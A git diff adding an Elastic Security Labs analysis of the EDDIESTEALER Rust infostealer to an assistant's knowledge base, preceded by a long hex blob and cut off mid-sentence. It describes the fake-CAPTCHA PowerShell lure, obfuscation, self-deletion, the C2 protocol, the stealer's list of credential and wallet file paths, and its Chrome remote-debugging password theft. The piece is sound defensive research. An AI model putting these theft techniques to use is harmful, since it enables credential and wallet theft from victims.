049dac81ec425a944b0c72038ca7ca81dcc83eb1482ebafb12f159a67fecf89aac603072a0104b81cf43b0e5a3fa03b2466e3ed91da97dc199aec0b07623ef34068b968e7fef1973046c4174f3aa82ea00ced065d0ea5bed8a74dc67e5a1eeb7617ef4d319663c0e6654b5373e4415f21a23babd6051100aad131532650b4ec69f26f783ab183717e968ffc5ea28078f13afd8da50b40a22153dff778fda5294dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a2b647effc48aff4ac85098a15133b8c558542bfc5008e1c4ad02bb29821e4537dcc83eb1482ebafb12f159a67fecf89a3e06af40c33a3e43ce93e8fb68ce41a35192e0e0bf73876b712d3e291700551a1906a896d2db8fd7ae4a1d07c41709055b0b2947571ccceceed434d68fd61f52a24f88f405d70ef1edcb7e88b7411152510919487576127ac3c6eb3f563f2851f641a737d53aa97b7cad25ca56c3d08e328652ef11a084d739805f91c130ba10dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89ae0967e147930f8d0394261e358e4162567c6b9e93055f632c4866a83b0fb68c4dcc83eb1482ebafb12f159a67fecf89a481374e0b33e7eeb111773913dea66413f149615571a597d21bbbdedc3a3ec8016eb9e9bdefd7d35ab500f4b5389de93f87d6ce17441f551cda8d54c187f7307ba430d53b18714da4a8f07e0393d3e8c29b012e4544d958dae899536b7a9e891cb575304e73f80df3c5f499288a440ad40845651f29d70d1868ac4e411407eb5dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a305c69bc882267f73e496bc8337fd158dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a50f13e216b181ac0791d404bc3b449d53187a94c79eb4677d5c9ae0e9c11c8b9cab13a529827f2c2b3d641beb0c72d9b9d7ccea09bd6bf0f9ece16f344659a23c9387adbf43199c5789e928e9885134bad169c0b8d557cd65116d486e9aabac689f3b8c5289c2c611fc67f120e56c142dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89abb815733a5aff2d1b5ffff3a26fa1a1779312b4990a1c025ddea728c7aade43a0a3b7f8bcbe458e1d027879c2d803c00ac603072a0104b81cf43b0e5a3fa03b285827f0dbbf5be2b297ba31674aa4c493618ba11968e3bb37ffb6dedcab534e298097e05db91f955d300f07c03d4c501eb526a7a0cb0e6eb88e80217b9f21796e10f43a2b24e9b692f9660621be63be59b67ac03c2215f51ba8dd61b0272541340845651f29d70d1868ac4e411407eb5dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a2b647effc48aff4ac85098a15133b8c5266f92cbf1d095ab5abe982af08d2539dcc83eb1482ebafb12f159a67fecf89a3e06af40c33a3e43ce93e8fb68ce41a35c37a52535ba77bd9763c339f6a00f39dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a572a0aa27808872eff03c2ccbc5bfc4ddcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89aac603072a0104b81cf43b0e5a3fa03b22d82cb039db15cf71fe8a0c478912106dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a42694f59026d674ff9dbcc3d8775ff746b90153e9c2e0d1a387045c610d33b83195f8b8434ed8726c51411619e900e09dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89af6f51b536ef3a86cdd7b533d372af5ff63d77b0cd0be194f190383b004a45c2fdcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a3de988d2033f825b1524e679f3dc6658b6356f05afe0e381755df20582a7e75adcc83eb1482ebafb12f159a67fecf89a5d676285a0c0056055a70e6163051eb969afe155494c027e9e7fba7a0c0681d7dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a1dcb645edc8f36053f0e1cf22fcb11120eb8f37bfbb01f009d7fb720a212317fdcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89abb815733a5aff2d1b5ffff3a26fa1a17522298f80b2726623cb0a4c55ca06887dcc83eb1482ebafb12f159a67fecf89aac603072a0104b81cf43b0e5a3fa03b27d7f953a72451033acddecdf565b525d40845651f29d70d1868ac4e411407eb5dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a26c4f9e283543a6beac747a0b2cdf44627f0bb0d55499f2918d50ee2c35b084adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a9272360b955909a78e7e52aa65d1f7e30fc6ebd75e41e4096ef3832db4ded3b74ba84d9b7765af5bc237c439b96e4914a1f146361a542db6f7f04fc9cb8b06c2a424d4809bb0806c9ed87216250963bbdcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89af03fc81648e0dd738fd6af87dc662f20dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89af2d36a7b4436a34d116a56478af03450eaa0ebe40aa8af4ce4c1ec41b559b4595b904978123cd98679690c156d44ebacac603072a0104b81cf43b0e5a3fa03b2d51f2a58deb8bb1909c1b0ac85cac0e17cbb4527e5f99c50fc9ad650a1099c9adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a26c4f9e283543a6beac747a0b2cdf44627f0bb0d55499f2918d50ee2c35b084adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a9272360b955909a78e7e52aa65d1f7e3cfad591b57d96345fa505bb1158cb460bb01ef38a729249f9d5d83c2f6f3b4527621663ead99b28083fad8df9e1f2eb5b72f0c0c3087ac3d34ee2f70ba15ac03dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89af03fc81648e0dd738fd6af87dc662f20dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89af2d36a7b4436a34d116a56478af03450eaa0ebe40aa8af4ce4c1ec41b559b4595b904978123cd98679690c156d44ebace40afa969f5e80e7e1964b52835b73dd78eb26c474ed57f8ebbab43a646544e0c6e0be25b49c20c6b69608b104be6fc146cee682ef1624dab0bd8d6f87181f19766b3b7d1cff8ff5f705015e92cc5832ba688e4bbc96a08ee99da8770d8f71c144245be988fdacf3e711bcc7fc587476b071077fd552d6965d755c2b7f27a98d2bc6928e74430483290d7a2327fc35afe81ec76a2c9e980c4def0eb50246f6cdbd02ee5c8630dddcbfbdf3901e9b36c975fe2040cf1b4849afa37e5aa595cb657d1b49ce3e3cbb0fcad2dbe559fa07764748cbdb97c39976ccd45070e6d288f3d192432310468acf0e0fd6ae19dd7e579f224cef362cbf10ea0eab42b6cdd37c38d640fd348c2301e4beb1697e3073318005ccca7be7dc4e9922a4042df320dc9f817c69a223fa1b0c1bb59e6869a3f85dd205f296dfa411a8fa5a56d7a432970ba78ac95beb9de80eb498748ca0ac5b4651f21ed2f15aeee4de9258e6b7d1fbd26cfcf636ed02f8fa9edc07d99d1238c3a8acfc437bf4d9df2f4b6853f206b97777442fe31732f0e22d0f6cb4114bdb0f4d9c5d5a664be424c7cf98f65e5e4fadd6dc9fbad8532b5d66465ecf256974ef8948addc9c82366ec1cc78a16820db59eafeca060ddc708400f79d11838e7795f8e67a19a6b17155c425b4eaed2279dc1d37a9be2b91fa7115f001ff54f1a251e0a329485006bdbab0de154134813aba5d88f0c241a4c1051460b9a9ac8984cc375522d282296ac897df159f6a3b5e353ec3da003ea451933711c77ce013776ef1a6df6f9a0925b669761d1d1beeb0b73cc4cbdcfbc77148c045c1a870796ce9a0f6d08f8e543da1a40bd309c54af75d3a681834b18c497cf3b6dc8e4944988228b1abba610320872e700d4db45fead0c053bf46aba85d8b9eb1b544c6474ac470fbd197983e4a0d34809eec12c3ddf7d4905a644c0e02e6f42e0794de4ede8e801ef8c0c9a700eb918a9e110ee7a72450481f6ee6312d5d3e158626c25f3df26d4e871ee55985188c313866dfad399362487c34c304e415f1de2e8c6ca837273975faadbea5bdbe9ccc0793a69fc93fef1fe80225432e14f79bca46d806302ebce8a2e573b75687d638f305b4d7f3406c90f2064b386976c5e96f0240f6109521613de26b74b888fc8c6b9cd67e7ce2c6c8c92448b2343237b496725b2edc5d6b4f24e7bf5d8eefed1886bcf6c722b7b66d377a97cba258ecc83bcb0df5044fd56d36f72c9a2ebbb89ce3350774d9ea840a4d728be35273c6524fd8ca3b0312ad6014600188cde12fc224a0b247a6 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/eddiestealer.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/eddiestealer.md new file mode 100644 index 0000000000000..610b2f9954b05 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/eddiestealer.md @@ -0,0 +1,467 @@ +--- +title: "Chasing Eddies: New Rust-based InfoStealer used in CAPTCHA campaigns" +slug: "eddiestealer" +date: "2025-05-30" +description: "Elastic Security Labs walks through EDDIESTEALER, a lightweight commodity infostealer used in emerging CAPTCHA-based campaigns." +author: + - slug: jia-yu-chan +image: "eddiestealer.png" +category: + - slug: malware-analysis +tags: + - EDDIESTEALER + - infostealer +--- + +## Preamble + +Elastic Security Labs has uncovered a novel Rust-based infostealer distributed via Fake CAPTCHA campaigns. This malware is hosted on multiple adversary-controlled web properties. This campaign leverages deceptive CAPTCHA verification pages that trick users into executing a malicious PowerShell script, which ultimately deploys the infostealer, harvesting sensitive data such as credentials, browser information, and cryptocurrency wallet details. We are calling this malware EDDIESTEALER. + +This adoption of Rust in malware development reflects a growing trend among threat actors seeking to leverage modern language features for enhanced stealth, stability, and resilience against traditional analysis workflows and threat detection engines. A seemingly simple infostealer written in Rust often requires more dedicated analysis efforts compared to its C/C++ counterpart, owing to factors such as zero-cost abstractions, Rust’s type system, compiler optimizations, and inherent difficulties in analyzing memory-safe binaries. + +![EDDIESTEALER’s execution chain](/assets/images/eddiestealer/image9.png "EDDIESTEALER’s execution chain") + +## Key takeaways + +* Fake CAPTCHA campaign loads EDDIESTEALER +* EDDIESTEALER is a newly discovered Rust infostealer targeting Windows hosts +* EDDIESTEALER receives a task list from the C2 server identifying data to target + +## Intial access + +### Overview + +Fake CAPTCHAs are malicious constructs that replicate the appearance and functionality of legitimate CAPTCHA systems, which are used to distinguish between human users and automated bots. Unlike their legitimate counterparts, fake CAPTCHAs serve as gateways for malware, leveraging social engineering to deceive users. They often appear as prompts like "Verify you are a human" or "I'm not a robot," blending seamlessly into compromised websites or phishing campaigns. We have also encountered a similar campaign distributing [GHOSTPULSE](https://www.elastic.co/security-labs/tricks-and-treats) in late 2024. + +From our telemetry analysis leading up to the delivery of EDDIESTEALER, the initial vector was a compromised website deploying an obfuscated React-based JavaScript payload that displays a fake “I'm not a robot” verification screen. + +![Fake CAPTCHA GUI](/assets/images/eddiestealer/image36.png "Fake CAPTCHA GUI") + +Mimicking Google's reCAPTCHA verification interface, the malware uses the `document.execCommand("copy")` method to copy a PowerShell command into the user’s clipboard, next, it instructs the user to press Windows + R (to open the Windows run dialog box), then Ctrl + V to paste the clipboard contents, and finally Enter to execute the malicious PowerShell command. + +This command silently downloads a second-stage payload (`gverify.js`) from the attacker-controlled domain `hxxps://llll.fit/version/` and saves it to the user’s `Downloads` folder. + +![Copy PowerShell command to clipboard](/assets/images/eddiestealer/image18.png "Copy PowerShell command to clipboard") + +Finally, the malware executes `gverify.js` using `cscript` in a hidden window. + +![PowerShell command to download and execute the second script](/assets/images/eddiestealer/image35.png "PowerShell command to download and execute the second script") + +`gverify.js` is another obfuscated JavaScript payload that can be deobfuscated using open-source [tools](https://github.com/ben-sb/javascript-deobfuscator). Its functionality is fairly simple: fetching an executable (EDDIESTEALER) from `hxxps://llll.fit/io` and saving the file under the user’s `Downloads` folder with a pseudorandom 12-character file name. + +![PowerShell script to download and execute EDDIESTEALER](/assets/images/eddiestealer/image2.png "PowerShell script to download and execute EDDIESTEALER") + +## EDDIESTEALER + +### Overview + +EDDIESTEALER is a novel Rust-based commodity infostealer. The majority of strings that give away its malicious intent are encrypted. The malware lacks robust anti-sandbox/VM protections against behavioral fingerprinting. However, newer variants suggest that the anti-sandbox/VM checks might be occurring on the server side. With relatively straightforward capabilities, it receives a task list from the C2 server as part of its configuration to target specific data and can self-delete after execution if specified. + +### Stripped Symbols + +EDDIESTEALER samples featured stripped function symbols, likely using Rust’s default compilation option, requiring symbol restoration before static analysis. We used [rustbinsign](https://github.com/N0fix/rustbinsign), which generates signatures for Rust standard libraries and crates based on specific Rust/compiler/dependency versions. While `rustbinsign` only detected [hashbrown](https://docs.rs/hashbrown/latest/hashbrown/) and [rustc-demangle](https://docs.rs/rustc-demangle/latest/rustc_demangle/), suggesting few external crates being used, it failed to identify crates such as [tinyjson](https://docs.rs/tinyjson/latest/tinyjson/) and [tungstenite](https://docs.rs/tokio-tungstenite/latest/tokio_tungstenite/) in newer variants. This occurred due to the lack of clear string artifacts. It is still possible to manually identify crates by finding unique strings and searching for the repository on GitHub, then download, compile and build signatures for them using the `download_sign` mode. It is slightly cumbersome if we don’t know the exact version of the crate being used. However, restoring the standard library and runtime symbols is sufficient to advance the static analysis process. + +![rustbinsign “info” output](/assets/images/eddiestealer/image40.png "rustbinsign “info” output") + +### String Obfuscation + +EDDIESTEALER encrypts most strings via a simple XOR cipher. Decryption involves two stages: first, the XOR key is derived by calling one of several key derivation functions; then, the decryption is performed inline within the function that uses the string. + +The following example illustrates this, where `sub_140020fd0` is the key derivation function, and `data_14005ada8` is the address of the encrypted blob. + +![Example decryption operation](/assets/images/eddiestealer/image17.png "Example decryption operation") + +Each decryption routine utilizes its own distinct key derivation function. These functions consistently accept two arguments: an address within the binary and a 4-byte constant value. Some basic operations are then performed on these arguments to calculate the address where the XOR key resides. + +![Key derivation functions](/assets/images/eddiestealer/image39.png "Key derivation functions") + +Binary Ninja has a handy feature called [User-Informed Data Flow](https://docs.binary.ninja/dev/uidf.html) (UIDF), which we can use to set the variables to known values to trigger a constant propagation analysis and simplify the expressions. Otherwise, a CPU emulator like [Unicorn](https://www.unicorn-engine.org/) paired with a scriptable binary analysis tool can also be useful for batch analysis. + +![Binary Ninja’s UIDF applied](/assets/images/eddiestealer/image11.png "Binary Ninja’s UIDF applied") + +![Batch processing to decrypt all strings](/assets/images/eddiestealer/image42.png "Batch processing to decrypt all strings") + +There is a general pattern for thread-safe, lazy initialization of shared resources, such as encrypted strings for module names, C2 domain and port, the sample’s unique identifier - that are decrypted only once but referenced many times during runtime. Each specific getter function checks a status flag for its resource; if uninitialized, it calls a shared, low-level synchronization function. This synchronization routine uses atomic operations and OS wait primitives (`WaitOnAddress`/`WakeByAddressAll`) to ensure only one thread executes the actual initialization logic, which is invoked indirectly via a function pointer in the vtable of a `dyn Trait` object. + +![Decryption routine abstracted through dyn Trait object and lazy init of shared resource](/assets/images/eddiestealer/image34.png "Decryption routine abstracted through dyn Trait object and lazy init of shared resource") + +![Example Trait object vtable](/assets/images/eddiestealer/image12.png "Example Trait object vtable") + +### API Obfuscation + +EDDIESTEALER utilizes a custom WinAPI lookup mechanism for most API calls. It begins by decrypting the names of the target module and function. Before attempting resolution, it checks a locally maintained hashtable to see if the function name and address have already been resolved. If not found, it dynamically loads the required module using a custom `LoadLibrary` wrapper, into the process’s address space, and invokes a [well-known implementation of GetProcAddress](https://github.com/cocomelonc/2023-04-16-malware-av-evasion-16/blob/ba05e209e079c2e339c67797b5a563a2e4dc0106/hack.cpp#L75) to retrieve the address of the exported function. The API name and address are then inserted into the hashtable, optimizing future lookups. + +![Core functions handling dynamic imports and API resolutions](/assets/images/eddiestealer/image31.png "Core functions handling dynamic imports and API resolutions") + +![Custom GetProcAddress implementation](/assets/images/eddiestealer/image23.png "Custom GetProcAddress implementation") + +### Mutex Creation + +EDDIESTEALER begins by creating a mutex to ensure that only one instance of the malware runs at any given time. The mutex name is a decrypted UUID string `431e2e0e-c87b-45ac-9fdb-26b7e24f0d39` (unique per sample), which is later referenced once more during its initial contact with the C2 server. + +![Retrieve the UUID and create a mutex with it](/assets/images/eddiestealer/image7.png "Retrieve the UUID and create a mutex with it") + +### Sandbox Detection + +EDDIESTEALER performs a quick check to assess whether the total amount of physical memory is above ~4.0 GB as a weak sandbox detection mechanism. If the check fails, it deletes itself from disk. + +![Memory check](/assets/images/eddiestealer/image27.png "Memory check") + +### Self-Deletion + +Based on a similar [self-deletion technique](https://github.com/LloydLabs/delete-self-poc/tree/main) observed in [LATRODECTUS](https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus), EDDIESTEALER is capable of deleting itself through NTFS Alternate Data Streams renaming, to bypass file locks. + +The malware uses `GetModuleFileName` to obtain the full path of its executable and `CreateFileW` (wrapped in `jy::ds::OpenHandle`) to open a handle to its executable file with the appropriate access rights. Then, a `FILE_RENAME_INFO` structure with a new stream name is passed into `SetFileInformationByHandle` to rename the default stream `$DATA` to `:metadata`. The file handle is closed and reopened, this time using `SetFileInformationByHandle` on the handle with the `FILE_DISPOSITION_INFO.DeleteFile` flag set to `TRUE` to enable a "delete on close handle" flag. + +![Self-deletion through ADS renaming](/assets/images/eddiestealer/image6.png "Self-deletion through ADS renaming") + +### Additional Configuration Request + +The initial configuration data is stored as encrypted strings within the binary. Once decrypted, this data is used to construct a request following the URI pattern: `//`. The `resource_path` is specified as `api/handler`. The `UUID`, utilized earlier to create a mutex, is used as a unique identifier for build tracking. + +EDDIESTEALER then communicates with its C2 server by sending an HTTP GET request with the constructed URI to retrieve a second-stage configuration containing a list of tasks for the malware to execute. + +![Decrypt strings required to build URI for C2 comms](/assets/images/eddiestealer/image16.png "Decrypt strings required to build URI for C2 comms") + +![HTTP request wrapper](/assets/images/eddiestealer/image21.png "HTTP request wrapper") + +The second-stage configuration data is AES CBC encrypted and Base64 encoded. The Base64-encoded IV is prepended in the message before the colon (`:`). + +``` +Base64(IV):Base64(AESEncrypt(data)) +``` + +![Encrypted data received from C2](/assets/images/eddiestealer/image3.png "Encrypted data received from C2") + +The AES key for decrypting the server-to-client message is stored unencrypted in UTF-8 encoding, in the `.rdata` section. It is retrieved through a getter function. + +![Hardcoded AES key](/assets/images/eddiestealer/image41.png "Hardcoded AES key") + +![Core wrapper functions for config decryption](/assets/images/eddiestealer/image8.png "Core wrapper functions for config decryption") + +The decrypted configuration for this sample contains the following in JSON format: + +* Session ID +* List of tasks (data to target) +* AES key for client-to-server message encryption +* Self-delete flag + +```json +{ + "session": "", + "tasks": [ + { + "id": "", + "prepare": [], + "pattern": { + "path": "", + "recursive": , + "filters": [ + { + "path_filter": , + "name": "", + "entry_type": "" + }, + ... + ] + }, + "additional": [ + { + "command": "", + "payload": { + "": + } + }, + ... + ] + }, + ... + ], + "network": { + "encryption_key": "" + }, + "self_delete": +} +``` + +For this particular sample and based on the tasks received from the server during our analysis, here are the list of filesystem-based exfiltration targets: + +* Crypto wallets +* Browsers +* Password managers +* FTP clients +* Messaging applications + +| Crypto Wallet | Target Path Filter | +|------------------|----------------------------------------------| +| Armory | `%appdata%\\Armory\\*.wallet` | +| Bitcoin | `%appdata%\\Bitcoin\\wallets\\*` | +| WalletWasabi | `%appdata%\\WalletWasabi\\Client\\Wallets\\*` | +| Daedalus Mainnet | `%appdata%\\Daedalus Mainnet\\wallets\\*` | +| Coinomi | `%localappdata%\\Coinomi\\Coinomi\\wallets\\*` | +| Electrum | `%appdata%\\Electrum\\wallets\\*` | +| Exodus | `%appdata%\\Exodus\\exodus.wallet\\*` | +| DashCore | `%appdata%\\DashCore\\wallets\\*` | +| ElectronCash | `%appdata%\\ElectronCash\\wallets\\*` | +| Electrum-DASH | `%appdata%\\Electrum-DASH\\wallets\\*` | +| Guarda | `%appdata%\\Guarda\\IndexedDB` | +| Atomic | `%appdata%\\atomic\\Local Storage` | + +| Browser | Target Path Filter | +|-----------------|--------------------------------------------------------------------------------------------------------------------------------------------| +| Microsoft Edge | `%localappdata%\\Microsoft\\Edge\\User Data\\`
    `[Web Data,History,Bookmarks,Local Extension Settings\\...]` | +| Brave | `%localappdata%\\BraveSoftware\\Brave-Browser\\User Data\\`
    `[Web Data,History,Bookmarks,Local Extension Settings\\...]` | +| Google Chrome | `%localappdata%\\Google\\Chrome\\User Data\\`
    `[Web Data,History,Bookmarks,Local Extension Settings\\...]` | +| Mozilla Firefox | `%appdata%\\Mozilla\\Firefox\\Profiles\\`
    `[key4.db,places.sqlite,logins.json,cookies.sqlite,formhistory.sqlite,webappsstore.sqlite,*+++*]`| + +| Password Manager | Target Path Filter | +|------------------|------------------------------------------------------------------------------| +| Bitwarden | `%appdata%\\Bitwarden\\data.json` | +| 1Password | `%localappdata%\\1Password\\`
    `[1password.sqlite,1password_resources.sqlite]` | +| KeePass | `%userprofile%\\Documents\\*.kdbx` | + +| FTP Client | Target Path Filter | +|----------------------|----------------------------------------------------------------------------------| +| FileZilla | `%appdata%\\FileZilla\\recentservers.xml` | +| FTP Manager Lite | `%localappdata%\\DeskShare Data\\FTP Manager Lite\\2.0\\FTPManagerLiteSettings.db` | +| FTPbox | `%appdata%\\FTPbox\\profiles.conf` | +| FTP Commander Deluxe | `%ProgramFiles(x86)%\\FTP Commander Deluxe\\FTPLIST.TXT` | +| Auto FTP Manager | `%localappdata%\\DeskShare Data\\Auto FTP Manager\\AutoFTPManagerSettings.db` | +| 3D-FTP | `%programdata%\\SiteDesigner\\3D-FTP\\sites.ini` | +| FTPGetter | `%appdata%\\FTPGetter\\servers.xml` | +| Total Commander | `%appdata%\\GHISLER\\wcx_ftp.ini` | + +| Messaging App | Target Path Filter | +|------------------|---------------------------------------| +| Telegram Desktop | `%appdata%\\Telegram Desktop\\tdata\\*` | + +A list of targeted browser extensions can be found [here](https://gist.github.com/jiayuchann/ba3cd9f4f430a9351fdff75869959853). + +These targets are subject to change as they are configurable by the C2 operator. + +EDDIESTEALER then reads the targeted files using standard `kernel32.dll` functions like `CreateFileW`, `GetFileSizeEx`, `ReadFile`, and `CloseHandle`. + +![APIs for reading files specified in the task list](/assets/images/eddiestealer/image26.png "APIs for reading files specified in the task list") + +### Subsequent C2 Traffic + +After successfully retrieving the tasks, EDDIESTEALER performs system profiling to gather some information about the infected system: + +* Location of the executable (`GetModuleFileNameW`) +* Locale ID (`GetUserDefaultLangID`) +* Username (`GetUserNameW`) +* Total amount of physical memory (`GlobalMemoryStatusEx`) +* OS version (`RtlGetVersion`) + +Following the same data format (`Base64(IV):Base64(AESEncrypt(data))`) for client-to-server messages, initial host information is AES-encrypted using the key retrieved from the additional configuration and sent via an HTTP POST request to `//info/`. Subsequently, for each completed task, the collected data is also encrypted and transmitted in separate POST requests to `//`, right after each task is completed. This methodology generates a distinct C2 traffic pattern characterized by multiple, task-specific POST requests. This pattern is particularly easy to identify because this malware family primarily relies on HTTP instead of HTTPS for its C2 communication. + +![C2 traffic log](/assets/images/eddiestealer/image20.png "C2 traffic log") + +Our analysis uncovered encrypted strings that decrypt to panic metadata strings, disclosing internal Rust source file paths such as: + +* `apps\bin\src\services\chromium_hound.rs` +* `apps\bin\src\services\system.rs` +* `apps\bin\src\structs\search_pattern.rs` +* `apps\bin\src\structs\search_entry.rs` + +We discovered that error messages sent to the C2 server contain these strings, including the exact source file, line number, and column number where the error originated, allowing the malware developer to have built-in debugging feedback. + +![Example error message](/assets/images/eddiestealer/image25.png "Example error message") + +### Chromium-specific Capabilities + +Since the [introduction](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html) of Application-bound encryption, malware developers have adapted to alternative methods to bypass this protection and gain access to unencrypted sensitive data, such as cookies. [ChromeKatz](https://github.com/Meckazin/ChromeKatz) is one of the more well-received open source solutions that we have seen malware implement. EDDIESTEALER is no exception—the malware developers reimplemented it in Rust. + +Below is a snippet of the browser version checking logic similar to COOKIEKATZ, after retrieving version information from `%localappdata%\\\User Data\\Last Version`. + +![Browser version check](/assets/images/eddiestealer/image33.png "Browser version check") + +COOKIEKATZ [signature pattern](https://github.com/Meckazin/ChromeKatz/blob/15cc8180663fe2cd6b0828f147b84f3449db7ba6/COOKIEKATZ/Main.cpp#L210) for detecting COOKIEMONSTER instances: + +![COOKIEKATZ signature pattern](/assets/images/eddiestealer/image24.png "COOKIEKATZ signature pattern") + +CredentialKatz [signature pattern](https://github.com/Meckazin/ChromeKatz/blob/15cc8180663fe2cd6b0828f147b84f3449db7ba6/CredentialKatz/Main.cpp#L188) for detecting CookieMonster instances: + +![CHROMEKATZ signature pattern](/assets/images/eddiestealer/image4.png "CHROMEKATZ signature pattern") + +Here is an example of the exact copy-pasted logic of COOKIEKATZ’s `FindPattern`, where `PatchBaseAddress` is inlined. + +![COOKIEKATZ FindPattern logic](/assets/images/eddiestealer/image28.png "COOKIEKATZ FindPattern logic") + +The developers introduced a modification to handle cases where the targeted Chromium browser is not running. If inactive, EDDIESTEALER spawns a new browser instance using the command-line arguments `--window-position=-3000,-3000 https://google.com`. This effectively positions the new window far off-screen, rendering it invisible to the user. The objective is to ensure the malware can still read the memory (`ReadProcessMemory`) of the necessary child process - the network service process identified by the `--utility-sub-type=network.mojom.NetworkService` flag. For a more detailed explanation of this browser process interaction, refer to [our previous research on MaaS infostealers](https://www.elastic.co/security-labs/katz-and-mouse-game). + +### Differences with variants + +After analysis, more recent samples were identified with additional capabilities. + +Information gathered on victim machines now include: + +* Running processes +* GPU information +* Number of CPU cores +* CPU name +* CPU vendor + +![Example system data collected](/assets/images/eddiestealer/image14.png "Example system data collected") + +The C2 communication pattern has been altered slightly. The malware now preemptively sends host system information to the server before requesting its decrypted configuration. In a few instances where the victim machine was able to reach out to the C2 server but received an empty task list, the adjustment suggests an evasion tactic: developers have likely introduced server-side checks to profile the client environment and withhold the main configuration if a sandbox or analysis system is detected. + +![Possible sandbox/anti-analysis technique on C2 server-side](/assets/images/eddiestealer/image19.png "Possible sandbox/anti-analysis technique on C2 server-side") + +The encryption key for client-to-server communication is no longer received dynamically from the C2 server; instead, it is now hardcoded in the binary. The key used by the client to decrypt server-to-client messages also remains hardcoded. + +![Example Hardcoded AES keys](/assets/images/eddiestealer/image29.png "Example Hardcoded AES keys") + +Newer compiled samples exhibit extensive use of function inline expansion, where many functions - both user-defined and from standard libraries and crates - have been inlined directly into their callers more often, resulting in larger functions and making it difficult to isolate user code. This behavior is likely the result of using LLVM’s inliner. While some functions remain un-inlined, the widespread inlining further complicates analysis. + +![Old vs new: control flow graph for the HTTP request function](/assets/images/eddiestealer/image1.png "Old vs new: control flow graph for the HTTP request function") + +In order to get all entries of Chrome’s Password Manager, EDDIESTEALER begins its credential theft routine by spawning a new Chrome process with the `--remote-debugging-port=` flag, enabling Chrome’s DevTools Protocol over a local WebSocket interface. This allows the malware to interact with the browser in a headless fashion, without requiring any visible user interaction. + +![Setting up Chrome process with remote debugging](/assets/images/eddiestealer/image22.png "Setting up Chrome process with remote debugging") + +After launching Chrome, the malware queries `http://localhost:/json/version` to retrieve the `webSocketDebuggerUrl`, which provides the endpoint for interacting with the browser instance over WebSocket. + +![Sending request to retrieve webSocketDebuggerUrl](/assets/images/eddiestealer/image38.png "Sending request to retrieve webSocketDebuggerUrl") + +Using this connection, it issues a `Target.createTarget` command with the parameter `chrome://password-manager/passwords`, instructing Chrome to open its internal password manager in a new tab. Although this internal page does not expose its contents to the DOM or to DevTools directly, opening it causes Chrome to decrypt and load stored credentials into memory. This behavior is exploited by EDDIESTEALER in subsequent steps through CredentialKatz lookalike code, where it scans the Chrome process memory to extract plaintext credentials after they have been loaded by the browser. + +![Decrypted strings referenced when accessing Chrome’s password manager](/assets/images/eddiestealer/image15.png "Decrypted strings referenced when accessing Chrome’s password manager") + +Based on decrypted strings `os_crypt`, `encrypted_key`, `CryptUnprotectData`, `local_state_pattern`, and `login_data_pattern`, EDDIESTEALER variants appear to be backward compatible, supporting Chrome versions that still utilize DPAPI encryption. + +We have identified 15 additional samples of EDDIESTEALER through code and infrastructure similarities on VirusTotal. The observations table will include the discovered samples, associated C2 IP addresses/domains, and a list of infrastructure hosting EDDIESTEALER. + +## A Few Analysis Tips + +### Tracing + +To better understand the control flow and pinpoint the exact destinations of indirect jumps or calls in large code blocks, we can leverage binary tracing techniques. Tools like [TinyTracer](https://github.com/hasherezade/tiny_tracer) can capture an API trace and 